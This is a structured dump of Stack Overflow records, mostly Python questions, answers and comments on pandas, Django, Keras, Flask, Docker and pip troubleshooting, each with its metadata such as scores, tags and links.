has text: Is there a way to plot them in order. By that I mean ordering the Word_Length column bi increasing value with the Count column values corresponding.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46993325
type: Comment

http://stackoverflow.com/comment/80786268
comment on: http://stackoverflow.com/q/46919398
has text: `script01` is the name of a variable - one that doesn't exist yet, thus the error. `"script01"` might perhaps be the name of a script, although without the source code to `get_text()` I have no idea if that's what it's looking for.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46978930
has comment: http://stackoverflow.com/comment/80906169
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80906098
type: Answer
has comment: http://stackoverflow.com/comment/80905739
answers question: http://stackoverflow.com/q/46978891
has body: You can use zip: a=[123,456] b=[789,345] a1 = ''.join(map(str, a)) b1 = ''.join(map(str, b)) final_sum = sum(c-d for c, d in zip(map(int, list(a1)), map(int, list(b1))))

http://stackoverflow.com/comment/80939190
has text: what is your question?
comment on: http://stackoverflow.com/q/46996326
type: Comment
score: 1
type: QuestionComment

traitsui
tag name: traitsui
type: Tag
tags question: http://stackoverflow.com/q/47039926

http://stackoverflow.com/q/47046578
tagged with: visual-studio
has answer: http://stackoverflow.com/a/47046620
type: AnsweredQuestion
score: 0
has title: NameError while calling a function inside a loop
answer count: 1
has comment: http://stackoverflow.com/comment/81040464
tagged with: loops
type: Question
tagged with: function
has comment: http://stackoverflow.com/comment/81040443
has body: I'm currently a new developer in python, and I'm trying to make a simple backpropagation ANN from a code that I found in the internet to work with the space invaders game. I'm using Visual Studio Code 2015 just to debug, so I can understand how the code flows. I have a file named spaceinvaders.py, and inside this file all the code was writen with a lot of classes that create sprites, sounds and all of the other game stuff. To implement the ANN, I just pasted the code and try to run it, but whenever I try to make a call from 2 specific functions, I get the "NameError was unhandled by the user code - global name "activate_neuron" is not defined", but the function is already defined! I searched a lot looking for a similar problem, but got no ideias how to solve it (mostly because I'm a newer developing on Python). Here's the full code, and the error when I call the function "activate_neuron" inside the function "forward_propagate". [Other Space Invaders Classes] class BackPropagation (object): def inicializar_rede_neural(n_inputs, n_hidden, n_outputs): network = list() #inicializa os pesos da input para a hidden layer hidden_layer = [{'weights':[random() for i in range(n_inputs + 1)]} for i in range(n_hidden)] network.append(hidden_layer) #inicializa os pesos da hidden para a output layer output_layer = [{'weights':[random() for i in range(n_hidden + 1)]} for i in range(n_outputs)] network.append(output_layer) return network #Faz a ativação do neurônio def activate_neuron(weights, inputs): activation = weights[-1] for i in range(len(weights)-1): activation += weights[i] * inputs[i] return activation # Transfer neuron activation (função sigmoide) def transferir(activation): return 1.0 / (1.0 + exp(-activation)) # Realiza o foward propagate def forward_propagate(network, row): inputs = row for layer in network: new_inputs = [] for neuron in layer: activation = activate_neuron(neuron['weights'], inputs) &gt;Here's the error&lt; neuron['output'] = transferir(activation) ne…
tagged with: python
accepted answer: http://stackoverflow.com/a/47046620

http://stackoverflow.com/comment/80851469
type: AnswerComment
score: 0
has text: It don't work. Maybe my question needs to be more clear.
comment on: http://stackoverflow.com/a/46941982
type: Comment

http://stackoverflow.com/comment/81057220
score: 0
type: AnswerComment
has text: Why can't I install it normally with `apt`? Also, isn't it bad for me to have the same package installed from both `apt` and `pip`?
type: Comment
comment on: http://stackoverflow.com/a/47055077

http://stackoverflow.com/a/46989831
score: 3
has body: I think slice assignment can be avoided for this custom loss. If you want to adjust the loss value for sqerr[:, 4:-1:7], you can subtract the original value from the total loss, and then add back the adjusted loss value. def custom_loss_keras(y_true, y_pred): # first sum up the squared error column-wise sqerr = K.square(y_true - y_pred) loss = K.sum(sqerr, axis=-1) # subtract the loss for the sliced part loss -= K.sum(sqerr[:, 4:-1:7], axis=-1) # add back the adjusted loss for the sliced part denominator = K.maximum(y_true[:, 2:-1:7], K.epsilon()) # handle zero-division numerator = y_true[:, 2:-1:7] - y_true[:, 3:-1:7] loss += K.sum(sqerr[:, 4:-1:7] * K.square(numerator / denominator), axis=-1) # take average ncols = K.int_shape(y_pred)[-1] loss /= ncols return K.mean(loss) You can verify this function by comparing it to your original numpy version: def custom_loss_numpy(y_true, y_pred): sqerr = (y_true - y_pred)**2 sqerr[:,4:-1:7] = sqerr[:,4:-1:7] * ((y_true[:,2:-1:7]-y_true[:,3:-1:7])/y_true[:,2:-1:7])**2 return sqerr.mean() y_true = np.random.rand(50, 1000) y_pred = np.random.rand(50, 1000) print(custom_loss_numpy(y_true, y_pred)) 889.992075384 print(K.eval(custom_loss_keras(K.variable(y_true), K.variable(y_pred)))) 889.992
accepted answer of: http://stackoverflow.com/q/46982030
type: Answer
answers question: http://stackoverflow.com/q/46982030
upvote count: 3
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80893251
has text: This defeats the purpose of `find_package`. The proper way is to `set(Python_ADDITIONAL_VERSIONS 2.7)` before calling `find_package`. See https://cmake.org/cmake/help/v3.9/module/FindPythonLibs.html
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46972892
type: AnswerComment

http://stackoverflow.com/q/46934392
favorite count: 0
type: Question
has title: Trying to add custom fields to users in Django
accepted answer: http://stackoverflow.com/a/46934458
has answer: http://stackoverflow.com/a/46934458
downvote count: 0
tagged with: django
upvote count: 1
tagged with: python
type: AnsweredQuestion
has body: I am fairly new to django and was it was going well until this. i'm trying to add fields 'address' and 'phone_number' to users (create custom user basically) but i keep getting this error like this... File "C:\Users\will5\Desktop\City\city_info\forms.py", line 5, in &lt;module&gt; class UserForm(forms.ModelForm): File "C:\Users\will5\AppData\Local\Programs\Python\Python36-32\lib\site- packages\django\forms\models.py", line 257, in __new__ raise FieldError(message) django.core.exceptions.FieldError: Unknown field(s) (phone_number, address) specified for User this is models ... from django.contrib.auth.models import AbstractUser class User(AbstractUser): phone_number = models.IntegerField(default=0) address = models.CharField(max_length=150) ... this is in my forms from django.contrib.auth.models import User from django import forms class UserForm(forms.ModelForm): password = forms.CharField(widget=forms.PasswordInput) class Meta: model = User fields = ['username', 'email', 'password', 'address', 'phone_number'] I also read that in order to fix this problem i will have to restart my project by creating the custom user and migrating and i don't wanna do that.
score: 1
answer count: 1

http://stackoverflow.com/a/47057984
score: -1
has body: You could use regex home = sport.get("home") home = re.sub(r'[{}\'u]+','', home)
upvote count: 0
downvote count: 1
answers question: http://stackoverflow.com/q/47057847
type: Answer

http://stackoverflow.com/a/47045826
has body: Another, not so elegant way of doing it wihout using list comprehension is this: test = "test-123-2,abc,1232,,21,fd|lskd-929-8282,vbd,3221,,983,ew|ploi-90293-2,xsw,9073,,34,mn|opuye-8392-kl,few,45432,,234,df|" result = list(map(lambda y: y.split(',')[0], list(map(lambda x: x, test.split('|'))))) for r in result: print(r) The result is: test-123-2 lskd-929-8282 ploi-90293-2 opuye-8392-kl
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47045497

http://stackoverflow.com/a/47108911
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47006053
score: 1
has body: Thanks shai for your answer ! I ended up solving this task by using CNN (unet architecture ). I annotated 3 full images and it was enough because there is a lot of bees in one image. The training was done using small patches (big enough to contain one bee ) and not the entire image. Also I use CRF to improve the segmentation ! I tested the method in 50 images, and it ended up working very well :)
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47006053

http://stackoverflow.com/q/47058290
type: UnansweredQuestion
score: -4
tagged with: python
downvote count: 6
tagged with: ubuntu
tagged with: docker
has answer: http://stackoverflow.com/a/47058579
upvote count: 2
has comment: http://stackoverflow.com/comment/81064259
answer count: 1
has body: I am doing a project with regard to fog computing. I would like to use one docker container to simulate a fog node which can process data, store data in the database and send data to Cloud. I need Ubuntu, Python, and Redis to develop my application. I was wondering is it possible to install them in a single container? Because I can only install them separately in different containers by using 'docker pull' command. Can anyone help me out here? Thanks!
has comment: http://stackoverflow.com/comment/81064126
favorite count: 0
has comment: http://stackoverflow.com/comment/81064310
has title: Can I install Ubuntu, Python and Redis in one Docker container?
type: Question

http://stackoverflow.com/comment/80801520
type: QuestionComment
score: 0
has text: Thanks for the reply. I will go through.
comment on: http://stackoverflow.com/q/46925413
type: Comment

http://stackoverflow.com/comment/80877982
type: Comment
type: QuestionComment
has text: anyway you can't `int()` a tuple. Remove the `int()` around `readinto` call and see where it's complaining about tuple in the original question.
comment on: http://stackoverflow.com/q/46963840
score: 0

http://stackoverflow.com/a/46942084
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80832314
has body: First, always check the shape of your data before plotting. x.shape ## (3479040, 2) So the 2 here means you have two channel in your .wav file, matplotlib by default plot them in different colors. You will need to slice the matrix by row in this situation. import matplotlib.pyplot as plt ind = int(fs * 0.5) ## plot first 500ms ### plot as time series plt.plot(x[:ind,:]) plt.figure() #### Visualise distribution plt.hist(x[:ind,0],bins = 10) plt.gca().set_yscale('log') ##### print x.min(),x.max() #### -3 3 As can be seen from the graph, the signal is of very low absolute value (-3,3). Depending on the encoding of .wav file (integer or float), it will be translated to amplitude (but probably a very low amplitude, that's why it's silent). I my self is not familiar with the precise encoding. But this page might help: http://www-mmsp.ece.mcgill.ca/Documents/AudioFormats/WAVE/WAVE.html For all formats other than PCM, the Format chunk must have an extended portion. The extension can be of zero length, but the size field (with value 0) must be present. For float data, full scale is 1. The bits/sample would normally be 32 or 64. For the log-PCM formats (µ-law and A-law), the Rev. 3 documentation indicates that the bits/sample field (wBitsPerSample) should be set to 8 bits. The non-PCM formats must have a fact chunk. PS: if you want to start some more advanced audio analysis, do check this workshop which I found super practical, especially the Energy part and FFT part.
has comment: http://stackoverflow.com/comment/80832385
accepted answer of: http://stackoverflow.com/q/46941972
type: Answer
answers question: http://stackoverflow.com/q/46941972
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/80831572

http://stackoverflow.com/comment/81039022
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47045769
type: Comment
has text: Never mind. Figured out that I had to `self._socket.shutdown(socket.SHUT_WR)` after writing to socket. After adding that, this works.

http://stackoverflow.com/q/46977492
tagged with: python
answer count: 0
score: 1
downvote count: 0
has title: Django queryset filter weekday is different in database
upvote count: 1
has comment: http://stackoverflow.com/comment/80902516
favorite count: 0
type: Question
has body: I'm using Django 1.10 with Postgres. I have a class defined as : class Availability(models.Model): profile = models.ForeignKey(Profile) date = models.DateField() And I'd like to get all the availabilities which date is a monday. In my database, I have a availibity which date is a monday. I used : Availability.objects.filter(profile=profile, date__week_day=2) as defined in the Django doc, 2 being monday : https://docs.djangoproject.com/en/1.10/ref/models/querysets/#week-day But it returns no objects. I then tried to change the week_day and the queryset returns the right object when I used date__week_day=4. I tried with other week days, and it appears that their is always a gap of 2 weekdays between the query_set and the database. Is there a configuration to set which day should be the start of the week ?
tagged with: python-3.x
tagged with: postgresql
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80904005
tagged with: django

http://stackoverflow.com/q/47001684
tagged with: jupyter
favorite count: 0
has title: Cant remove jupyter related packages
type: Question
has comment: http://stackoverflow.com/comment/80958872
answer count: 2
has body: I have the following packages to remove (2xTab): $ jupyter- jupyter-bundlerextension jupyter-nbconvert jupyter-nbextension jupyter-notebook jupyter-qtconsole jupyter-serverextension jupyter-trust And pip says they are not there: $ pip3 freeze | grep jupyter $ pip freeze | grep jupyter and when trying to remove any of them I got same eg: sudo -H pip3 uninstall jupyter-notebook Cannot uninstall requirement jupyter-notebook, not installed but eg.: $ which jupyter-notebook /usr/local/bin/jupyter-notebook So how to remove those packages ?
has answer: http://stackoverflow.com/a/47365211
type: UnansweredQuestion
upvote count: 1
tagged with: pip
linked to: http://stackoverflow.com/q/47001138
downvote count: 1
has answer: http://stackoverflow.com/a/47001703
score: 0
tagged with: python

http://stackoverflow.com/comment/80815671
score: 0
has text: It looks like your first template has `"/accounts/logout_view"` as the logout URL, but in the urls file you have `url(r'^product$', views.logout_view,...`
comment on: http://stackoverflow.com/q/46934143
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81043165
type: QuestionComment
has text: People are down voting this. However, I can challenge Python exports to at least give a proper clue, at least; as Python has been most popular language to analyze any data (I think even Data from Galaxy has been analyzed by Python). They may give the solution or not. If I got a solution, I'll definitely share here.
type: Comment
comment on: http://stackoverflow.com/q/47031652
score: 0

http://stackoverflow.com/a/47054736
has body: Problems of this sort appear in different applications (e.g in physics it is called mass balance), but AFAIK have no common name. But their essence is simple counting, so it is easier to write an algorithm than to find a solution to exactly your problem :) This code calculates number of people that have entered or exited the room up to a given time, and then just subtracts the first from the second: import pandas as pd data = pd.DataFrame({'in':[10, 11, 11, 12, 14], 'out':[11, 13, 15, 14, 15]}) count_in = data.groupby('in')['in'].count() count_out = data.groupby('out')['out'].count() count_data = pd.concat([count_in, count_out], axis=1).fillna(0).cumsum() print(count_data['in'] - count_data['out']) The code gives a result of: 10 1.0 11 2.0 12 3.0 13 2.0 14 2.0 15 0.0 It means that at 10 there was one person (who had just come), at 11 there were two (2 more came but 1 exited), etc.
answers question: http://stackoverflow.com/q/47054341
upvote count: 2
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81255963
score: 2

http://stackoverflow.com/q/46936262
has answer: http://stackoverflow.com/a/46937170
has body: I am currently learning Python and I work on a project where I need a launcher to launch a series of the same script. So, I have the launcher calling my other script, and I need the second script to import modules for it to work. But then I get the infamous ModuleNotFound: no module named "". When I launch the file myself, it works properly as intended and the module is found. LAUNCHER i=0 while i&lt;1000: print('Creating file number '+str(i)+'') os.system('C:\\Users\\Gauthier\\Desktop\\file.py') time.sleep(int(frequency)) print('File number '+str(i)+' created') i+=1 I guess that must be a miscomprehension on my side, but after reading tens of questions on stackeoverflow and other forums, the official documentation and some tutorials, I can't find the proper way to import a module in a script which is itself launched by another file. As file.py requests data from APIs, I cannot just read the script with exec(open('file.py').read()) because I need multiple instances of the same script to be launched at the same time. I am sorry if I missed something obvious, but it's been days -- I've uninstalled Python multiple times, tried a lot of different ways to call a file from another-- but I finally came here to ask for help. Thanks!
tagged with: os.system
answer count: 1
type: Question
tagged with: python
has title: ModuleNotFoundError when launching a python file from another
tagged with: module
accepted answer: http://stackoverflow.com/a/46937170
type: AnsweredQuestion
score: 0

http://stackoverflow.com/q/46981945
has title: Adding Custom Tag to Sentry with Python
score: 2
tagged with: sentry
has body: I'm trying to add a custom tag on Sentry to show up on the 'Tags' column. I've tried using logging and raven, but both methods do not show up on the 'Tags' column. raven: client.capture("raven.events.Message", message='foo', data={'tags':{'customtag':'AAAA'}}) logging: logger.info('foo', extra={'tags': {'customtag':'AAAA'}}) This is registering on Sentry as: But it is not showing up on the Tags column itself. I see the custom tag showing up on the search box but I can't seem to actually filter based on this custom tag. Does anyone have any ideas?
tagged with: python
has comment: http://stackoverflow.com/comment/80912442
tagged with: raven
favorite count: 0
type: Question
answer count: 0
upvote count: 2
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/comment/81074731
type: QuestionComment
has text: Try this: `df.groupby(['Date'], as_index=False).sum()`
comment on: http://stackoverflow.com/q/47063210
score: 1
type: Comment

http://stackoverflow.com/q/46935705
tagged with: python
accepted answer: http://stackoverflow.com/a/46945327
has title: Pandas .apply Loc to Pyspark
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/46945327
answer count: 2
tagged with: apache-spark
tagged with: pandas
upvote count: 1
possible better answer: http://stackoverflow.com/a/46941623
downvote count: 1
has body: I Have done some work with Pandas. Now I need to make the same on Pyspark and this task seem to be tricky ! Here is my code: import pandas as pd def av_years(df,start,end): return df.loc[df['year'].isin(range(start,end+1))]['B'].mean() I then created a dataframe: raw_data = { 'year': [2010,2011,2012,2013], 'B': [2,3,5,4],'startyear':[2012,2010,2011,2011],'endyear': [2012,2013,2013,2013]} df = pd.DataFrame(raw_data) df This is my result: B endyear startyear year 0 2 2012 2012 2010 1 3 2013 2010 2011 2 5 2013 2011 2012 3 4 2013 2011 2013 The final step is t create a new column derived from the dataframe: df['av'] = df.apply(lambda row: av_years(df,row['startyear'], row['endyear']), axis=1) df My final result is : B endyear startyear year av 0 2 2012 2012 2010 5.0 1 3 2013 2010 2011 3.5 2 5 2013 2011 2012 4.0 3 4 2013 2011 2013 4.0 I need to obtain the same table using PySpark ! some advice ? Thank you
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46941623
tagged with: apache-spark-sql
tagged with: pyspark

http://stackoverflow.com/q/47035609
tagged with: python
tagged with: ubuntu
tagged with: openedx
has title: How to properly install Nfsd for Openedx in Ubuntu 16
has body: Openedx is expecting nfsd as per the image attached. So, I tried installing it using this link: https://www.digitalocean.com/community/tutorials/how-to-set-up-an-nfs-mount-on-ubuntu-16-04 But below command is not working: &gt; sudo nfsd status sudo: nfsd: command not found But I tried prepending word "service" sudo service nfsd status ● nfsd.service Loaded: not-found (Reason: No such file or directory) Active: inactive (dead) Ultimately I want to install openedx without errors. How can I fix my nfsd installation so I can use it for installing openedx ? Thanks
has answer: http://stackoverflow.com/a/49850297
score: 0
answer count: 1
tagged with: linux
type: UnansweredQuestion
type: Question

http://stackoverflow.com/comment/80910164
comment on: http://stackoverflow.com/q/46980958
score: 0
has text: @wwii I want to generate all permutations between [0,0,0,...,0] and [8,8,8,...,8] where the dimension (length?) of the indices is n. I have to do this based on some value of n dynamically.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/68793701
score: 0
type: Answer
answers question: http://stackoverflow.com/q/46960427
has body: Try tf.reset_default_graph() Tensorflow memory leak when building graph in a loop https://www.tensorflow.org/api_docs/python/tf/compat/v1/reset_default_graph

http://stackoverflow.com/q/47042904
has title: getting 404 error using flask-restless
has body: I have an existing mysql database, and I'm trying to create an API to access it, but I'm receiving a 404 error. I have two versions of code that don't work. Could someone please point me in the right direction? URL I'm using: http://127.0.0.1:5000/api/email v1: from flask import Flask from flask.ext.restless import APIManager from flask_sqlalchemy import SQLAlchemy app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://pathtodb/emails' db = SQLAlchemy(app) class Email(db.Model): __tablename__ = 'emails' id = db.Column(db.Integer, primary_key=True) status = db.Column(db.String(20)) email = db.Column(db.String()) def __init__(self, status, email): self.status = status self.email = email api_manager = APIManager(app, flask_sqlalchemy_db=db) api_manager.create_api(Email, methods=['GET', 'POST', 'DELETE', 'PUT']) if __name__ == "__main__": app.run(debug=True) v2: from flask import Flask from flask.ext.restless import APIManager from sqlalchemy import * from sqlalchemy.ext.declarative import declarative_base app = Flask(__name__) Base = declarative_base() engine = create_engine('mysql+pymysql://pathtodb/emails', echo=True) metadata = MetaData(bind=engine) class Email(Base): __tablename__ = Table('emails', metadata, autoload=True) id = Column(Integer, primary_key=True) status = Column(String(20)) email = Column(String()) api_manager = APIManager(app, flask_sqlalchemy_db=engine) api_manager.create_api(Email, methods=['GET', 'POST', 'DELETE', 'PUT']) if __name__ == "__main__": app.run(debug=True) URL I'm using: http://127.0.0.1:5000/api/email
has comment: http://stackoverflow.com/comment/81033593
type: Question
has comment: http://stackoverflow.com/comment/81033486
accepted answer: http://stackoverflow.com/a/47043598
downvote count: 0
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/47043598
tagged with: flask
tagged with: flask-sqlalchemy
has comment: http://stackoverflow.com/comment/81034453
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81034243
tagged with: flask-restless
score: 1
answer count: 1
has comment: http://stackoverflow.com/comment/81033585
tagged with: mysql

http://stackoverflow.com/comment/80998314
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47025267
score: 0
has text: @RafaelBarros I have added ex1.data and an example of the figure that I get.

http://stackoverflow.com/q/46997622
downvote count: 1
favorite count: 0
tagged with: putty
type: Question
has title: Python 3.4.3 modules installation in linux error
has comment: http://stackoverflow.com/comment/80946732
tagged with: linux
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80944855
has comment: http://stackoverflow.com/comment/80942284
tagged with: http://stackoverflow.com/tag/docx
has body: I just installed the python-3.4.3 via putty. I'm very new to Linux and it's operation. I created a script for docx operation in windows and it's working great but my manager wants to host it into the server, so that everyone in my team can use that. My problem is installing the packages into the Linux. Here i uploaded the image that what I'm getting. Please let me know the correct way.
has answer: http://stackoverflow.com/a/46997672
has comment: http://stackoverflow.com/comment/80941836
upvote count: 0
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/80941856

http://stackoverflow.com/comment/80772533
score: 4
type: AnswerComment
has text: @DavidG: You are basically just undoing what `matplotlib` does under the hood when you set `sharex`, since it just sets `labelbottom=False` for all subplots except the bottom one
comment on: http://stackoverflow.com/a/46912720
type: Comment

http://stackoverflow.com/comment/80911882
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46982198
score: 2
has text: Are you asking whether such generalizations exist in the standard library *right now*, whether they were ever part of the standard library, or whether anyone ever slapped something like this together and uploaded it to PyPI?

http://stackoverflow.com/q/46924600
tagged with: python
tagged with: text-mining
tagged with: artificial-intelligence
has body: I'm a new-bee to AI and want to perform the below exercise. Can you please suggest the way to achieve it using python: Scenario - I have list of businesses of some companies as below like: 1. AI 2. Artificial Intelligence 3. VR 4. Virtual reality 5. Mobile application 6. Desktop softwares and want to categorize them as below: Technology ---&gt; Category 1. AI ---&gt; Category Artificial Intelligence 2. Artificial Intelligence ---&gt; Category Artificial Intelligence 3. VR ---&gt; Category Virtual Reality 4. Virtual reality ---&gt; Category Virtual Reality 5. Mobile application ---&gt; Category Application 6. Desktop softwares ---&gt; Category Application i.e when I receive a text like AI or Artificial Intelligence, then it must identify AI &amp; Artificial Intelligence as one and the same and put both keywords under Artificial Intelligence category. The current approach I follow is using the lookup a table but, I want to apply TEXT CLASSIFICATION on the technologies/business for the above input using python where I can segregate the technologies instead of using the lookup table. Please suggest me any relevant approach.
downvote count: 0
score: 1
upvote count: 1
has title: Categories Busineesses with Text analytics in Python
answer count: 1
tagged with: machine-learning
has answer: http://stackoverflow.com/a/46926863
favorite count: 0
type: Question
tagged with: text-analysis
has comment: http://stackoverflow.com/comment/80796571
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80798746

http://stackoverflow.com/q/46995892
answer count: 0
tagged with: pandas
has body: I'm trying to build a dataframe with embeeded links to files in my computer. I found some references in Stackoverflow of how to do it for websites, as follows: df['a'] = df['a'].apply(lambda x: 'link'.format(x)) I tried to do a similar (and others) line of code to put a filepath into the dataframe, but no sucess: df[' ' + "BEYOND 3SIGMA"] = 'link' Other try: df.ix[i,0] = df.ix[i,0].apply(lambda x:'{}'.format(new_folder,caract,threesigmas)) I'm using IPython.display to display the hyperlink. I also accept other suggestions of how to build table with hyperlinks to local path in the Ipython notebook itself.
upvote count: 1
score: 1
favorite count: 0
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/80938573
type: UnansweredQuestion
tagged with: python
tagged with: filepath
has title: Insert filepath link into Dataframe - Pandas

http://stackoverflow.com/comment/80971343
has text: That helps. Thanks!
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47012285

http://stackoverflow.com/q/46984869
favorite count: 0
accepted answer: http://stackoverflow.com/a/46984924
type: AnsweredQuestion
upvote count: 3
score: 0
downvote count: 3
tagged with: inventory
has comment: http://stackoverflow.com/comment/80917119
has comment: http://stackoverflow.com/comment/80917010
has answer: http://stackoverflow.com/a/46984924
tagged with: text-based
has title: Can't figure out what is wrong with my inventory in my text-base game
type: Question
has body: So I want to be able to remove and add items in an inventory that I tried creating in my game but I keep receiving an error. This is my code: inventory={} def add_to_inventory(): inventory.append() elif choice == "use h on razor": print ("(pick up razor)") if "razor" in inventory: print ("You already got this item.") print ("") print ("Inventory: " + str(inventory)) if "razor" not in inventory: print ("You walked over and picked up your razor blade.") print ("It's been added to your inventory.") add_to_inventory("razor") print("") print ("Inventory: " + str(inventory)) game() this is the error that I receive when I run my game: (pick up razor) You walked over and picked up your razor blade. It's been added to your inventory. Traceback (most recent call last): File "C:\Users\Owner\AppData\Local\Programs\Python\Python36-32\inferno_junction_2017-10-27.py", line 337, in &lt;module&gt; instructions_part_1() File "C:\Users\Owner\AppData\Local\Programs\Python\Python36-32\inferno_junction_2017-10-27.py", line 336, in instructions_part_1 try_1() File "C:\Users\Owner\AppData\Local\Programs\Python\Python36-32\inferno_junction_2017-10-27.py", line 310, in try_1 instructions_part_2() File "C:\Users\Owner\AppData\Local\Programs\Python\Python36-32\inferno_junction_2017-10-27.py", line 304, in instructions_part_2 try_2() File "C:\Users\Owner\AppData\Local\Programs\Python\Python36-32\inferno_junction_2017-10-27.py", line 286, in try_2 instructions_part_3() File "C:\Users\Owner\AppData\Local\Programs\Python\Python36-32\inferno_junction_2017-10-27.py", line 280, in instructions_part_3 try_3() File "C:\Users\Owner\AppData\Local\Programs\Python\Python36-32\inferno_junction_2017-10-27.py", line 266, in try_3 instructions_part_4() File "C:\Users\Owner\AppData\Local\Programs\Python\Python36-32\inferno_junction_2017-10-27.py", line 259, in instructions_part_4 main() File "C:\Users\Owner\AppData\Local\Programs\Python\Python36-32\inferno_junction_2017-10-27.py", line 231, in main start() File…
has comment: http://stackoverflow.com/comment/80917044
has comment: http://stackoverflow.com/comment/80917087
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80917104
has comment: http://stackoverflow.com/comment/80917014

http://stackoverflow.com/q/47010260
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/80968806
type: Question
has title: No matching distribution found for selenium in python
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47010560
has answer: http://stackoverflow.com/a/47010560
has body: I am trying to install selenium via Cmd using the command---- pip install -U selenium , but it's showing the error. Could not find a version that satisfies the requirement selenium (from version s: ) No matching distribution found for selenium See below details i am using python 3.5.1 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\Anjali.Nautiyal&gt;C:\Python34\Scripts\pip.exe install -U selenium The system cannot find the path specified. C:\Users\Anjali.Nautiyal&gt;C:\Users\Anjali.Nautiyal\AppData\Local\Programs\Python\ Python35-32\Scripts\pip.exe install -U selenium Collecting selenium Could not find a version that satisfies the requirement selenium (from version s: ) No matching distribution found for selenium C:\Users\Anjali.Nautiyal&gt;python setup.py install python: can't open file 'setup.py': [Errno 2] No such file or directory
answer count: 1
downvote count: 0
tagged with: selenium

http://stackoverflow.com/q/47038771
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81025052
has title: how does recusrive function call work in javascript
score: 1
type: Question
has body: I am trying to port the algorythm seen here https://ideone.com/26G1fB (written in python) to javascript. def divide(arr, depth, m): if len(complements) &lt;= depth: complements.append(2 ** (depth + 2) + 1) complement = complements[depth] for i in range(2): if complement - arr[i] &lt;= m: arr[i] = [arr[i], complement - arr[i]] divide(arr[i], depth + 1, m) m = int(raw_input()) arr = [1, 2] complements = [] divide(arr, 0, m) print arr i came un with that : var bracketize = function(arr, depth, m) { if (complements.length &lt;= depth) { complements.push(2 ** (depth +2) + 1) } var complement = complements[depth] for ( i = 0; i &lt; 2; i++ ) { if (complement - arr[i] &lt;= m) { arr[i] = [arr[i], complement - arr[i]] bracketize(arr[i], depth + 1 , m) } } } var m = 16 var arr = [1, 2] var complements = [] bracketize(arr, 0, m) console.log(JSON.stringify(arr)) // expected result [[[[1, 16], [8, 9]], [[4, 13], [5, 12]]], [[[2, 15], [7, 10]], [[3, 14], [6, 11]]]] // actual result : [[[[1,16],8],4],2] here a jsfiddle https://jsfiddle.net/9umgwhoa/ It seem to be something in the way js make recursive call versus python but i can't figure out what. Any pointer on where the difference between the 2 code lie would be appreciated
accepted answer: http://stackoverflow.com/a/47039156
upvote count: 2
has answer: http://stackoverflow.com/a/47039156
answer count: 1
has comment: http://stackoverflow.com/comment/81024109
tagged with: javascript
tagged with: python
has comment: http://stackoverflow.com/comment/81025123
downvote count: 1
favorite count: 0
tagged with: recursion

http://stackoverflow.com/a/46949353
answers question: http://stackoverflow.com/q/46948053
upvote count: 8
score: 8
has body: You can create a mask that selects only those points that satisfy y &gt; 0.5: x = np.arange(100) y = np.random.rand(100) mask = y &gt; 0.5 plt.scatter(x[mask], y[mask])
accepted answer of: http://stackoverflow.com/q/46948053
type: Answer
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/80812796
type: QuestionComment
comment on: http://stackoverflow.com/q/46932149
score: 0
type: Comment
has text: This doesn't work, I just get the error of `''str' object has no attribute 'read'`

http://stackoverflow.com/comment/81074182
type: Comment
has text: Get rid of the `**0.5` in the distance calculation and you have my vote.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47062991

http://stackoverflow.com/comment/80957431
type: Comment
type: AnswerComment
has text: @edyvedy13, `div#EmployerReviews li.empReview div.cell.reviewBodyCell span[class='showDesk']` is the complete path hierarchy to the needed span elements containing CEO marks. That's all
comment on: http://stackoverflow.com/a/47005276
score: 0

mfcc
type: Tag
tag name: mfcc
tags question: http://stackoverflow.com/q/46966148

http://stackoverflow.com/q/47014927
tagged with: python
type: AnsweredQuestion
score: 0
has title: how to create dataframe for loops in python
tagged with: pandas
has answer: http://stackoverflow.com/a/47015032
answer count: 1
tagged with: web-scraping
has comment: http://stackoverflow.com/comment/80976247
tagged with: beautifulsoup
type: Question
accepted answer: http://stackoverflow.com/a/47015032
has body: Am scrapping data from a website, all the data is in the table. I want to create a dataframe for all the table information. I am using the below code to get the table information. all_table_info = html_soup.find('table', class_ = "views-table cols-4")---to get all the table info for name in all_table_info.find_all('td',class_ = "views-field views-field-field-lastname active"): print (name.text) for organization in all_table_info.find_all('td', class_ = "views-field views-field-field-employer") : print (organization.text) i have a requirement to creat a dataframe which create 2 coulmns for name and organisation. name Organization abcv fgvf dfdf ghgjh dfgdg hgjh fgfg hkh Is there is any way to do this.

